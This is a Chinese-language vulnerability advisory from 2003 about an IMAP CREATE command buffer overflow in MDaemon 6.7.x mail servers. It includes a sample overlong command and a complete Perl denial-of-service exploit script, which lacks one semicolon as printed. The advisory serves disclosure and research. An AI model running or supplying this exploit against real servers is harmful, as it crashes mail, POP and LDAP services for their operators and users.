发布日期：2003-04-26
更新日期：2003-05-08

受影响系统：

Alt-N MDaemon 6.7.9
Alt-N MDaemon 6.7.5

描述：

---

BUGTRAQ  ID: 7446

MDaemon是一款集成可扩展的SMTP、POP3、和IMAP4，支持LDAP，集成基于浏览器EMAIL客户端，可以进行内容过滤，恶意邮件阻挡等功能的邮件服务系统。

MDaemon  IMAP服务器对Create命令缺少充分的边界检查，远程攻击者可以利用这个漏洞对服务程序进行拒绝服务攻击，可能以IMAP进程权限在系统上执行任意指令。

远程验证过的用户登录系统后，可以通过IMAP服务建立邮箱名超过1Kb的新邮箱，而导致SMTP/POP/IMAP/LDAP服务崩溃，但是WorldClient和WebAdmin将会继续正常工作。如：

0 CREATE AAAAAAA..[1kb]..AAA

当攻击者提交'0 CREATE AAAAAAA..[1kb]..AAA'后，服务器会建立名为" AAAAA.. [202b..] AAA "邮箱并崩溃。精心构建提交数据可能以MDaemon进程权限在系统上执行任意指令。

<*来源：D4rkGr3y （grey_1999@mail.ru）
  
  链接：http://marc.theaimsgroup.com/?l=bugtraq&m=105155104403624&w=2
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

D4rkGr3y （grey_1999@mail.ru）提供了如下测试方法：

#!/usr/bin/perl
###############
#MDaemon SMTP/POP/IMAP server v.6.7.5
#Remote DoS exploit
##Edit this stuff:
$host = "imap_server";
$port = "143";
$login = "login";
$pass = "pass";
#Attention! If exploit doesn't
#work, change this:
$data = "A";
###############
use IO::Socket;
$num = "1000";
$buf .= $data x $num;
print "Connecting... ";
$socket = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port,
Proto => "tcp", Type => SOCK_STREAM) or die "Couldn't connect.\n";
print " OK\n"
print "Attacking... ";
print $socket "DHGroup Login $login $pass\n";
sleep(1);
print $socket "DHGroup CREATE $buf\n";
sleep(1);
print " OK\n";
print "Exiting... \n";
close($socket);
##//www.dhgroup.org//
#EOF

建议：

---

厂商补丁：

Alt-N
-----
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.altn.com

浏览次数：3815
严重程度：0（网友投票）